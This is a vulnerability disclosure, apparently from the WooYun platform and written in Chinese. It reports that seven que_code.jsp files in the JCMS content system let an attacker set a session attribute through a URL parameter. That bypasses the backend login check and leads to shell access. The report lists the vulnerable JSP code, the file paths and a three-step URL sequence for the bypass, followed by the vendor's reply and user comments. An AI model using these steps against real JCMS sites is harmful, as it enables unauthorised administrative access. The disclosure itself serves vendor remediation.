jcms系统7处session重置导致getshell

接上一处：http://**.**.**.**/bugs/wooyun-2016-0178011

发现在以下目录当中均存在相似session重置的代码

我就不分开一个个提交了，一次性全部提交完，方便厂商确认和整改

< import="jcms.util.ValidateCode"%>
 <%
  String sessionId = request.getParameter("sessionid");
  out.clear();
  ValidateCode code1 = new ValidateCode();
  if(sessionId==null)
   sessionId = "";
  code1.setSessionName(sessionId);
  code1.getValidateCode(request,response);
 %>

7处如下：

jcms/jcms_files/jcms1/web1/site/module/messagebook/que_code.jsp

jcms/jcms_files/jcms1/web1/site/module/webuser/que_code.jsp

/jcms/jcms_files/jcms1/web1/site/module/survey/que_code.jsp

/jcms/jcms_files/jcms1/web1/site/module/idea/que_code.jsp

/jcms/jcms_files/jcms1/web1/site/module/comment/que_code.jsp

jcms/jcms_files/jcms1/web1/site/module/voting/que_code.jsp

/jcms/jcms_files/jcms1/web1/site/module/reconsider/que_code.jsp

利用过程和前面一样

String sessionId = request.getParameter("sessionid");

直接通过sessionid获取值

code1.setSessionName(sessionId);

然后又直接设置session

而在我们的jcms中的setup(后台管理制作端)中又只判断其中cookie_username是否为空 不为空即就登录

利用过程

1、**.**.**.**/jcms/setup/opr_licenceinfo.jsp（如果后台未更改或者未设置权限提交下）

2、访问**.**.**.**/jcms/jcms_files/jcms1/web1/site/module/oss/que_code.jsp?sessionid=cookie_username

3、再次访问**.**.**.**/jcms/setup/opr_licenceinfo.jsp即可

提供5个测试案例

http://**.**.**.**

http://**.**.**.**

http://**.**.**.**

**.**.**.**

**.**.**.**:8080

**.**.**.**

以上有些案例可能由于上一枚漏洞的发布，已经对某些文件进行了限制

我们选取选取其中做演示

**.**.**.**

**.**.**.**

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-12-26 16:56

厂商回复：

此问题与上一次的问题一样，已修复了。
谢谢您对我司的支持。

最新状态：

暂无

1. 2016-03-01 16:59 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

   2

   666

   1# 回复此人

2. 2016-03-01 17:27 | zzR ( 核心白帽子 | Rank:1408 漏洞数:127 | 东方红＊＊联盟欢迎你－0-)

   2

   要啥自行车！

   2# 回复此人

3. 2016-03-01 20:19 | hkcs ( 实习白帽子 | Rank:56 漏洞数:9 | 只是路过)

   1

   老虎皮，session重置导致getshell

   3# 回复此人